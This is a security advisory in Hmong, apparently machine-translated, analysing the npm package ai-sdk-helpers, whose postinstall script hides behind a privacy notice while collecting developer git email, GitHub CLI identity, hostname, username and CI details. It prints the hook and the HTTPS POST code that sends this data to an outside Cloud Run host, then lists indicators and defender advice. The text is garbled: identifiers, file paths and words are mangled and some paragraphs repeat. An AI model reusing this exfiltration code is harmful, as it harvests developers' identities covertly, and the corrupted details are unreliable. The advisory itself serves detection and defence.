TL; DR
Ib pob npm xwb, ai-sdk-helpers, nthuav tawm nws tus kheej ua ib qho cuab yeej tsim khoom rau Vercel AI SDK, muab kev taug qab tus nqi, kev pabcuam rov qab, thiab cov neeg pabcuam streaming.
Nws cov ntawv sau thaum lub sijhawm teeb tsa qhib nrog daim ntawv tshaj tawm qhia meej uas piav qhia txog kev kuaj mob tsis qhia npe, cog lus tias yuav tsis muaj cov lej qhov chaw, cov cim qhia, lossis cov ntaub ntawv pov thawj raug xa mus, ua kev hwm rau ib qho DO_NOT_TRACK xaiv tsis koom, thiab txuas mus rau nplooj ntawv txoj cai telemetry.
Cov ntawv sau tib yam ces nyeem tus tsim tawm tus kheej git, GitHub CLI configuration, lub npe ntawm lub tshuab, lub npe siv OS, daim nplaub tshev ua haujlwm, thiab tus neeg muab kev pabcuam CI.
Cov ntaub ntawv ntawd raug POSTed ua JSON rau Google Cloud Run endpoint, tsim kom muaj qhov tsis sib xws ntawm txoj cai telemetry uas tau hais thiab cov teb tiag tiag uas tau sau.
Cov pob khoom tau luam tawm ua nees nkaum ob qhov versions hauv ib qho 83-thib ob burst, thiab cov ntawv teeb tsa yog byte-rau-byte zoo ib yam thoob plaws txhua qhov flagged version.
Xya ntawm yim qhov versions uas peb tau tshuaj xyuas pipeline tau qhab nia tsis tiav los ntawm ML classifier vim tias qhov kev pom zoo-banner styling nyeem zoo li telemetry raug cai.
Peb faib ua pawg ai-sdk-helpers raws li kev ua phem raws li kev sau cov ntaub ntawv tus kheej ntawm tus tsim tawm thaum lub sijhawm teeb tsa thiab kev rho tawm.
Qhov hnyav: siab.
Anatomy ntawm lub installation
{ "scripts": { "postinstall": "node scripts/postinstall.js" } }tom qab kev teeb tsa khiav tau ntawm npm nruab, ua ntej ib qho ntawm cov lej tshaj tawm ntawm pob khoom raug xa tawm. Cov ntawv sau cov ntawv sau/postinstall.js yog qhov chaw uas tag nrho cov kev coj ua ntawm lub sijhawm teeb tsa nyob.
Nws qhib nrog ib qho thaiv lus tawm tswv yim thiab ib daim ntawv ceeb toom runtime sau rau hauv daim ntawv teev npe ntawm qhov project qhib-qhib-qhov chaw-privacy-paub txog:
>Thaum koj nruab ai-sdk-helpers, peb khiav qhov kev kuaj xyuas qhov sib xws ntawm ib puag ncig sai thiab tshaj tawm cov kev kuaj mob tsis qhia npe ... Cov ntaub ntawv tsis qhia npe tag nrho - peb sau koj lub platform, Node version, thiab ib txoj kev hash ntawm koj lub tshuab cim. Tsis muaj qhov code, tokens, lossis cov ntaub ntawv pov thawj raug xa mus.
Nws txawm txuas lub rooj vag xaiv tsis ua haujlwm, thawj qhov code executable hauv cov ntaub ntawv:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); }kev khi lub rooj vag no ua ntej yog qhov ua rau lwm tus nyeem tau tias yog kev pom zoo: tus tsim tawm uas teeb tsa `DTSIS_TUAJ_KEV_SAIB ees qhov kev teeb tsa ua tiav ntsiag to thiab xaus lub pob khoom ua raws li kev cai. Qhov kev xaiv tsis koom nrog yog qhov tseeb. Qhov nws qhib, rau txhua tus neeg uas tsis teeb tsa nws, yog cov khoom sau piav qhia hauv qab no - tsis yog qhov nqaim dua "platform, Node version, thiab ib txoj kev hash" uas daim ntawv ceeb toom hu.
Hauv qab lub rooj vag ntawd, tsab ntawv sau ua ke ib qho payload uas mus dhau qhov kev piav qhia ntawd.
- *Gt tus kheej.* rdaws tauScmKev Txheeb Xyuas cov `~.gitconfig`,`~.config/git/config`,thiab qhov project tam sim no `.nws/config`,txheeb xyuas qhov `[ser]` ection, thiab rov qab cov configured commit email. Yog tias tsis muaj cov ntaub ntawv teeb tsa xa email, nws poob rov qab mus rau `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,thiab `EAIL` ib puag ncig hloov pauv. Ib qho docstring saum toj no lub luag haujlwm ua rau qhov nyeem ntawv ua ib txoj hauv kev "txiav tawm cov kev teeb tsa sib txawv ntawm cov tshuab uas tib tus neeg muaj (piv txwv li laptop + CI)" - lub hom phiaj tau hais tias xav tau tus cim ruaj khov rau ib tus neeg tsim khoom, uas yog commit cov khoom siv email.
- *Gtus account tHub.* rdawsGitHubIdentity()` cov `~.config/gh/hosts.yml` thiab `~.config/gh/hosts.yaml` cov ntaub ntawv teeb tsa sau los ntawm GitHub CLI thaum tus tsim tawm lees paub - thiab regex-extracts lub `uer:` thiab `eail:` cov teb. Cov ntaub ntawv ntawd kuj khaws cia GitHub OAuth token; cov ntawv sau regex tsom mus rau lub npe neeg siv thiab cov kab email tshwj xeeb thiab tsis rho tawm cov token. Yog li ntawd, cov lus thov "tsis muaj tokens ... puas tau xa mus" yog qhov tseeb rau ib qho teb ntawd thaum cov cim qhia txog tus account nyob ib puag ncig raug nyeem thiab xa mus.
- *Htus ntiv tes thiab CI.* nws tsab ntawv ces sau `o.lub npe tswj hwm()`,`o.userInfo().username`,lub Node version, platform thiab architecture, `pocess.cwd()`,thiab daim ntawv lo CI-provider uas tau daws los ntawm kev kuaj xyuas cov hloov pauv ib puag ncig rau yim tus neeg muab kev pabcuam (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, thiab ob lub chij generic-CI). Daim ntawv teev cov neeg muab kev pabcuam nyeem ua cov khoom muag ntawm qhov chaw uas tsab ntawv xav kom ua tiav - cov plhaub sib tham thiab kev tsim kho tsis siv neeg. pipelinenrog tib yam.
Tag nrho cov no tau muab faib ua pawg rau hauv ib qho 'd'cov neeg tsis ntseeg Vajtswv bject, nrog rau cov teb per-developer sau nyob rau hauv ib qho `ilub koom haum ey thiab cov ntaub ntawv tus tswv tsev nyob rau hauv `rntime` nd `cntext` eys, ces serialized thiab xa mus:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end();cov lus teb raug pov tseg thiab txhua qhov yuam kev raug nqos - ib qho lus pom tias "telemetry yuav tsum tsis txhob ua txhaum qhov kev teeb tsa." Lub npe hostpoint kawg encodes Google Cloud Run kev pabcuam hauv `ehlua-sab hnub poob1` egion.
Qhov sib txawv yog zaj dab neeg. Daim ntawv tshaj tawm hais txog peb pawg ntawm cov ntaub ntawv - platform, Node version, machine-identifier hash. Lub payload xa tus tsim tawm lub git tiag tiag commit email, lawv lub npe GitHub thiab email, lawv lub npe hostname thiab OS account, lawv txoj kev project, thiab lawv qhov chaw CI. Cov teb uas txheeb xyuas ib qho *prson thiab lawv cov nyiaj * hais txog cov teb uas qhov kev tshaj tawm tsis suav nrog.
README txhawb nqa qhov kev teeb tsa los ntawm sab tod. Nws ntu "Telemetry" rov ua qhov kev thov tsis qhia npe thiab txuas lo lus `DTSIS_TUAJ_KEV_SAIB o `cnsoledonottrack.com`,nplooj ntawv hauv zej zog tiag tiag uas sau cov lus cog tseg tsis koom nrog - qiv ib qho kev ceev ntiag tug uas tau lees paub standard kom nyeem daim ntawv ceeb toom ua ib txwm.
Ncua sij hawm
Qhov no yog ib pob khoom uas muaj keeb kwm luv luv thiab tuab heev. Tsis muaj ntau lub lim tiam ntawm kev sib tw kom taug qab - tag nrho cov version tau raug thawb ntawm qhov ceev ntawm lub tshuab.
| Thaum twg (UTC) | Cov kev tshwm sim |
|---|---|
| 2026-06-03 20:31:20 | Thawj qhov version (0.1.0) luam tawm rau npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Tag nrho 22 versions (0.1.0 los ntawm 1.4.2) luam tawm hauv 83-thib ob lub sijhawm tsis siv neeg. |
| 2026-06-04 | Yim qhov versions tau cim los ntawm cov cim qhia kev kuaj pom; kev tshuaj xyuas tes lees paub qhov kev sau tus kheej thiab kev rho tawm thaum lub sijhawm teeb tsa. Pob khoom tseem nyob ntawm npm thaum lub sijhawm tshuaj xyuas. |
Lub sijhawm 83 vib nas this hla 22 qhov kev txhais lus yog ib qho cim qhia txog tus cwj pwm: tus ntaiv version (`01.0`,`01.1`,... `14.2`)nthuav qhia qhov chaw ntawm ib qho project uas tau tswj hwm nrog keeb kwm tso tawm, tsim tawm hauv ib qho scripted khiav. Cov script teeb tsa tsis hloov pauv hla lub ntaiv ntawd - saib hauv qab no.
Cov cim qhia txog kev sib haum xeeb
Lub sijhawm teeb tsa yog zoo ib yam thoob plaws cov version uas tau tshaj tawm. A `dff` f`sripts/postinstall.js` nruab nrab version `02.1 'ib version thib 14.2 'ib tsis rov qab los qhov sib txawv; tus cwj pwm yog ib qho ntiv tes ruaj khov, tsis yog ib qho payload uas hloov zuj zus.
network
Lub sijhawm 83 vib nas this hla 22 qhov kev txhais lus yog ib qho cim qhia txog tus cwj pwm: tus ntaiv version (`01.0`,`01.1`,... `14.2`)nthuav qhia qhov chaw ntawm ib qho project uas tau tswj hwm nrog keeb kwm tso tawm, tsim tawm hauv ib qho scripted khiav. Cov script teeb tsa tsis hloov pauv hla lub ntaiv ntawd - saib hauv qab no.
Cov cim qhia txog kev sib haum xeeb
Lub sijhawm teeb tsa yog zoo ib yam thoob plaws cov version uas tau tshaj tawm. A `dff` f`sripts/postinstall.js` nruab nrab version `02.1 'ib version thib 14.2 'ib tsis rov qab los qhov sib txawv; tus cwj pwm yog ib qho ntiv tes ruaj khov, tsis yog ib qho payload uas hloov zuj zus.
network
| Qhov taw qhia | lub luag hauj lwm |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Exfiltration endpoint tau txais HTTPS POST cov kev thov nrog JSON payloads. Hosted rau ntawm Google Cloud Run hauv europe-west1 cheeb tsam. |
Cov khoom siv dag zog
| Qhov taw qhia | lub luag hauj lwm |
|---|---|
ai-sdk.guide | Lub vev xaib tseem ceeb ntawm pob khoom thiab lub vev xaib nyob txhawb nqa tus sau "AI SDK Guide". |
ai-sdk.guide/telemetry | URL txoj cai Telemetry uas tau hais txog hauv daim ntawv ceeb toom qhia txog lub sijhawm teeb tsa. |
hello@ai-sdk.guide | Tus sau email tau tshaj tawm hauv package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Qhov chaw cia khoom tau tshaj tawm los ntawm pob khoom. |
Cov ntaub ntawv nyeem thaum lub sijhawm teeb tsa
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` mail
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `eail`
Cov cim qhia txog kev coj cwj pwm
- -m `pstinstall` ook invoking ib qho bundled Node script
- - rooj vag xaiv tawm (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`DTSIS_TUAJ_KEV_SAIB`)nthuav tawm ua ib qho tshwj xeeb ntawm kev ceev ntiag tug, ua ntej kev sau tus kheej
- - tbound HTTPS POST ntawm ib yam khoom JSON uas muaj git email, GitHub tus kheej, hostname, OS username, cwd, thiab CI daim ntawv lo
- - tsab ntawv teeb tsa zoo ib yam thoob plaws cov ntawv luam tawm sai sai
Kev Ua Tus Neeg thiab Kev Coj Tus Cwj Pwm Uas Tau Pom
Peb tsis muab dab tsi ntxiv rau qhov uas cov ntaub ntawv pob khoom thiab cov ntaub ntawv sau npe metadata.
Tus neeg saib xyuas cov ntaub ntawv npm yog tus account `aielsimon`,nrog rau qhov chaw nyob 'aiel@vigilance.security`.Lub chaw sau npe teev cov email ntawd tias tsis tau txheeb xyuas thiab tus account qhov chaw tswj hwm tus kheej tsis tau txheeb xyuas. Lub `pckage.json`,cais, nthuav qhia tus sau ua "AI SDK Guide `ello@ai-sdk.guide>`”nrog lub vev xaib ntawm `a-sdk.guide` thiab ib qho chaw khaws ntaub ntawv hauv qab ib `glub koom haum thub.com/ai-sdk-guide. Lub npe email ntawm tus account tshaj tawm (`vigilance.security`)thiab tus sau ntawv lub npe hauv pob (`a-sdk.guide`)yog cov cheeb tsam sib txawv.
Ib `a-sdk.guide` ite nyob thiab teb, thiab lub `/elemetry` ath daws tau - tus kheej decoy yog txhawb nqa los ntawm lub vev xaib uas tuaj yeem ncav cuag tau es tsis yog qhov txuas tuag, uas ua rau muaj kev ntseeg siab ntawm lub pob khoom.
**Muaj peev xwm pom.** Thaum lub sijhawm teeb tsa, lub pob ntawv nyeem cov ntaub ntawv tus kheej ntawm tus tsim tawm thiab cov ntaub ntawv teeb tsa tus account, kos tus ntiv tes rau tus tswv tsev thiab CI ib puag ncig, thiab xa cov txiaj ntsig mus rau qhov kawg uas tus neeg teb xov tooj tswj hwm, thaum tso saib daim ntawv ceeb toom uas piav qhia txog cov ntaub ntawv nqaim dua thiab tsis qhia npe. Peb piav qhia txog tus cwj pwm no; peb tsis lees paub qhov laj thawj rau nws. Cov neeg nyeem ntawv ntsuam xyuas lub pob ntawv - suav nrog txhua tus neeg uas lees paub tus kheej tshaj tawm - yuav tsum ntsuas qhov tsis sib xws ntawm cov ntaub ntawv tau hais thiab cov ntaub ntawv tiag tiag.
Kev cuam tshuam, cov qauv, thiab cov lus qhia rau cov neeg tiv thaiv
Leej twg raug. Txhua tus neeg uas teeb tsa ai-sdk-helpers — ncaj qha los yog ua ib qho kev vam khom transitive — khiav cov khoom sau rau ntawm lub tshuab ntawd. Vim tias qhov trigger yog tom qab kev teeb tsa, cov lej tsev qiv ntawv tshaj tawm tsis tas yuav tsum tau xa tuaj rau cov ntaub ntawv ntws; kev teeb tsa ib leeg xwb txaus lawm. Cov chaw muaj nqis siab tshaj plaws yog cov chaw ua haujlwm tsim tawm nrog tus kheej git teeb tsa thiab GitHub CLI uas tau lees paub, thiab CI khiav, qhov twg cov ntawv sau CI-provider nrhiav tau qhia tias cov khoom sau yuav tsum khiav hauv kev tsim. pipelines nrog rau ntawm cov laptops.
Qhov nws qhia tawm. Tsis yog cov lus zais ntawm daim ntawv thov hauv qhov xwm txheej dav dav - qhov payload tsom mus rau qhia tias yog leejtwg: tus tsim tawm commit email, lawv lub npe thiab email ntawm tus account GitHub, lub npe ntawm lub tshuab thiab tus account, thiab txoj kev project. Qhov ntawd yog ib qho ua ntejcisDaim ntawv qhia txog leej twg tau teeb tsa lub pob khoom, ntawm lub tshuab twg, hauv qhov chaw khaws ntaub ntawv twg, thiab nyob rau hauv lub kaw lus CI twg. Rau ib lub koom haum, ob peb cov ntaub ntawv zoo li no uas tau muab coj los ua ke yuav suav cov engineers twg thiab cov kab ke twg rub qhov kev vam khom - muaj txiaj ntsig zoo li qhov ua ntej rau kev ua raws li kev ua ub no ntxiv, txawm tias lub pob khoom no tus cwj pwm nres ntawm kev sau thiab xa mus.
Qhov sib txawv: telemetry ua npog. Cov cuab yeej tsim tawm raug cai yeej sau cov kev kuaj mob tsis qhia npe, thiab cov kev cai rau kev ua nws nrog kev hwm - daim ntawv ceeb toom tshaj tawm, ib TSIS TXHOB UA HAUJ LWM kev hwm, tus chij xaiv tsis koom, URL txoj cai - yog paub zoo. ai-sdk-helpers rov ua dua tag nrho plaub daim ntawv cog lus ntawd kom ncaj ncees thiab siv lawv ua daim ntawv qhwv rau kev sau tus kheej. Qhov muaj daim ntawv tso cai, kev xaiv tawm ua haujlwm, lossis qhov txuas ntawm txoj cai tswjfwm ntiag tug tsis yog pov thawj tias pob khoom ntseeg tau; cov kev tswj hwm ntawd pheej yig rau kev ua raws. Tsuas yog qhov kev kuaj xyuas ntseeg tau yog qhov code nyeem dab tsi thiab qhov twg nws xa nws tiag tiag.
Cov ntim khoom no kuj muaj qhov cuam tshuam rau kev xaiv cov khoom siv tsis siv neeg. Hauv peb cov qauv pipeline tshuaj xyuas, cov lus pom yooj yim ntawm cov ntawv teeb tsa, cov npe teb uas muaj cov qauv, thiab lub rooj vag xaiv tawm ib txwm tau qhab nia ua telemetry ib txwm muaj: xya ntawm yim tus tau rov qab los inconclusive los ntawm ML classifier es tsis yog malicious. Lub cim uas daws qhov tsis meej pem tsis yog nyob rau hauv prose - nws yog nyob rau hauv cov ntaub ntawv tshwj xeeb uas tsab ntawv qhib (~/.gitconfig, ~/.config/gh/hosts.yml) thiab qhov chaw uas nws xa mus rau. Tus neeg tshuaj xyuas, tsis siv neeg lossis tib neeg, uas nyeem cov lus qhia thiab nres ntawd yuav xaus lus tsis raug; qhov kev txiav txim siab yuav tsum los ntawm cov ntaub ntawv ntws.
Cov lus qhia rau cov neeg tiv thaiv:
- Nruab nrog cov ntawv sau tsis ua haujlwm los ntawm lub neej ntawd - npm nruab - tsis quav ntsej-scripts, los yog teeb tsa tsis quav ntsej cov ntawv sau = tseeb in .npmrc thiab khiav cov kauj ruam tsim kho uas tau kuaj xyuas meej meej. Qhov no ua rau tsis muaj teeb meem tom qab kev teeb tsa- kev sib sau ua ke ntawm cov khoom siv tau tshwm sim thoob plaws hauv lub rooj tsavxwm.
- Tsis txhob xav tias kev xaiv tsis koom nrog yog ib qho cim qhia tias koj ntseeg siab. TSIS TXHOB UA HAUJ LWM kev kuaj xyuas lossis qhov txuas "telemetry policy" qhia koj tsis muaj dab tsi txog cov ntaub ntawv uas tsab ntawv sau thaum lub rooj vag tsis tau teeb tsa.
- Nyeem cov lus qhia ua ntej siv cov pob khoom pabcuam AI-ecosystem. Qhov chaw Vercel AI SDK yog lub hom phiaj ceev ceev thiab ntseeg siab; tom qab kev teeb tsa uas kov ~/.gitconfig or ~/.config/gh/ yog ib qho cim qhia meej txawm tias cov lus tawm tswv yim nyob ib puag ncig sau li cas los xij.
- Saib xyuas kev tawm ntawm lub sijhawm tsim kho. Ib qho HTTPS POST tawm thaum lub sijhawm npm nruab, tshwj xeeb tshaj yog rau qhov chaw kawg ntawm huab-kev ua haujlwm tshiab, pom tau ntawm txheej network thiab yog qhov chaw kuaj pom muaj zog rau CI ib puag ncig.
- Saib xyuas cov theem ntawm cov qauv uas raug nias. Ib pob khoom uas muaj keeb kwm semantic-version tag nrho tshwm sim hauv ob peb feeb xwb, nrog rau cov ntawv teeb tsa uas tsis hloov pauv, tab tom nthuav tawm keeb kwm kev saib xyuas uas tsim tawm.
